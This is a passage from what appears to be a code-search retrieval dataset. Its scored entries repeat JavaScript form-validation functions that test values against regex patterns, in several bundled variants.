errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "27172ffc4de2e65fa905d78a3aef50f5", "score": "0.72280735", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(format$1(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(format$1(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "614fcce95bbc40379ecb87077c52342a", "score": "0.7105836", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n return callback();\n }\n _rule2.default.required(rule, value, source, errors, options);\n if (!(0, _util.isEmptyValue)(value, 'string')) {\n _rule2.default.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ca6e31a201fb1a93aa4bb4f4779f82af", "score": "0.70919013", "text": "function pattern(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t if (validate) {\n\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t _rule2['default'].required(rule, value, source, errors, options);\n\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t _rule2['default'].pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t callback(errors);\n\t}", "title": "" }, { "docid": "16dde50a14c1fab44653c5670198320d", "score": "0.7060093", "text": "function pattern(rule, value, callback, source, options) {\n\t\t var errors = [];\n\t\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t\t if (validate) {\n\t\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t\t return callback();\n\t\t }\n\t\t _rule2[\"default\"].required(rule, value, source, errors, options);\n\t\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t\t _rule2[\"default\"].pattern(rule, value, source, errors, options);\n\t\t }\n\t\t }\n\t\t callback(errors);\n\t\t}", "title": "" }, { "docid": "f7a8bc1967b5bc403fd97fdddddd1cf5", "score": "0.7050857", "text": "function pattern(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t if (validate) {\n\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t _rule2[\"default\"].required(rule, value, source, errors, options);\n\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t _rule2[\"default\"].pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t callback(errors);\n\t}", "title": "" }, { "docid": "f7a8bc1967b5bc403fd97fdddddd1cf5", "score": "0.7050857", "text": "function pattern(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t if (validate) {\n\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t _rule2[\"default\"].required(rule, value, source, errors, options);\n\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t _rule2[\"default\"].pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t callback(errors);\n\t}", "title": "" }, { "docid": "f7a8bc1967b5bc403fd97fdddddd1cf5", "score": "0.7050857", "text": "function pattern(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t if (validate) {\n\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t _rule2[\"default\"].required(rule, value, source, errors, options);\n\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t _rule2[\"default\"].pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t callback(errors);\n\t}", "title": "" }, { "docid": "f7a8bc1967b5bc403fd97fdddddd1cf5", "score": "0.7050857", "text": "function pattern(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t if (validate) {\n\t if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t _rule2[\"default\"].required(rule, value, source, errors, options);\n\t if (!(0, _util.isEmptyValue)(value, 'string')) {\n\t _rule2[\"default\"].pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t callback(errors);\n\t}", "title": "" }, { "docid": "2bb4b7871896b6481256d06cbc0e3f52", "score": "0.70477575", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n return callback();\n }\n _rule2['default'].required(rule, value, source, errors, options);\n if (!(0, _util.isEmptyValue)(value, 'string')) {\n _rule2['default'].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "af406a54d285ea92929be65bc9db38d7", "score": "0.70088136", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if ((0, _util.isEmptyValue)(value, 'string') && !rule.required) {\n return callback();\n }\n _rule2[\"default\"].required(rule, value, source, errors, options);\n if (!(0, _util.isEmptyValue)(value, 'string')) {\n _rule2[\"default\"].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "2c4631baf58637810addd7dabe84c461", "score": "0.69894195", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if ((0,_util__WEBPACK_IMPORTED_MODULE_1__.isEmptyValue)(value, 'string') && !rule.required) {\n return callback();\n }\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].required(rule, value, source, errors, options);\n if (!(0,_util__WEBPACK_IMPORTED_MODULE_1__.isEmptyValue)(value, 'string')) {\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "2b9d25de83b902b261da0d9af93d93c6", "score": "0.6978892", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if ((0,_util__WEBPACK_IMPORTED_MODULE_1__.isEmptyValue)(value, 'string') && !rule.required) {\n return callback();\n }\n _rule___WEBPACK_IMPORTED_MODULE_0__.default.required(rule, value, source, errors, options);\n if (!(0,_util__WEBPACK_IMPORTED_MODULE_1__.isEmptyValue)(value, 'string')) {\n _rule___WEBPACK_IMPORTED_MODULE_0__.default.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "1a368ea59d4dc18eb7361d10f7006df5", "score": "0.6978667", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "c1ba2534c200ba34ea83d7c3decb960a", "score": "0.6968598", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value, 'string') && !rule.required) {\n return callback();\n }\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].required(rule, value, source, errors, options);\n if (!Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value, 'string')) {\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "c1ba2534c200ba34ea83d7c3decb960a", "score": "0.6968598", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value, 'string') && !rule.required) {\n return callback();\n }\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].required(rule, value, source, errors, options);\n if (!Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value, 'string')) {\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "fc21d4b7ae3754ab3d3e0400de486918", "score": "0.6903908", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "fc21d4b7ae3754ab3d3e0400de486918", "score": "0.6903908", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "fc21d4b7ae3754ab3d3e0400de486918", "score": "0.6903908", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "fc21d4b7ae3754ab3d3e0400de486918", "score": "0.6903908", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "500a8f511eb4842af814b7e26baa2921", "score": "0.68903375", "text": "function pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"isEmptyValue\"])(value, 'string') && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"default\"].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"isEmptyValue\"])(value, 'string')) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"default\"].pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "8bb97f3d88115c219af610d40fe96e3b", "score": "0.68352354", "text": "function validate(value, pattern){\n\tif (pattern.test(value)) return true;\n\telse return false;\n\treturn true;\n}", "title": "" }, { "docid": "e32031fb790aae53f00acd44689f92a7", "score": "0.68169403", "text": "function pattern$2(rule, value, callback, source, options) {\n\t var errors = [];\n\t var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\t\n\t if (validate) {\n\t if (isEmptyValue(value, 'string') && !rule.required) {\n\t return callback();\n\t }\n\t\n\t rules.required(rule, value, source, errors, options);\n\t\n\t if (!isEmptyValue(value, 'string')) {\n\t rules.pattern(rule, value, source, errors, options);\n\t }\n\t }\n\t\n\t callback(errors);\n\t}", "title": "" }, { "docid": "1978d6eeb56559d0179184198f77583d", "score": "0.6771999", "text": "function re_patternValidate(fldval, fldLabel, type) {\n\tvar re;\n\tif (type.toUpperCase()=='DATE') {//DATE validation\n\t\tswitch (userDateFormat) {\n\t\tcase 'yyyy-mm-dd' :\n\t\t\tre = /^\\d{4}(-)\\d{1,2}\\1\\d{1,2}$/;\n\t\t\tbreak;\n\t\tcase 'mm-dd-yyyy' :\n\t\tcase 'dd-mm-yyyy' :\n\t\t\tre = /^\\d{1,2}(-)\\d{1,2}\\1\\d{4}$/;\n\t\t}\n\t}\n\tif (type.toUpperCase()=='TIMESECONDS') {//TIME validation\n\t\tre = new RegExp('^([0-1][0-9]|[2][0-3]):([0-5][0-9]):([0-5][0-9])$|^([0-1][0-9]|[2][0-3]):([0-5][0-9])$');\n\t}\n\tif (!re.test(fldval)) {\n\t\talert(alert_arr.ENTER_VALID + fldLabel);\n\t\treturn false;\n\t} else {\n\t\treturn true;\n\t}\n}", "title": "" }, { "docid": "fa4f07cd691bebcb3c13de16aa6a0dd0", "score": "0.67602235", "text": "function pattern$2(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n rules.required(rule, value, source, errors, options);\n if (!isEmptyValue(value, 'string')) {\n rules.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "364a593590caa389d34f5fd10cda89bd", "score": "0.6742581", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "364a593590caa389d34f5fd10cda89bd", "score": "0.6742581", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "364a593590caa389d34f5fd10cda89bd", "score": "0.6742581", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "364a593590caa389d34f5fd10cda89bd", "score": "0.6742581", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "b32a2cf38d09d81ca0568ff410a92c4b", "score": "0.6741831", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"isEmptyValue\"])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"default\"].required(rule, value, source, errors, options);\n if (!__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"isEmptyValue\"])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"default\"].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if 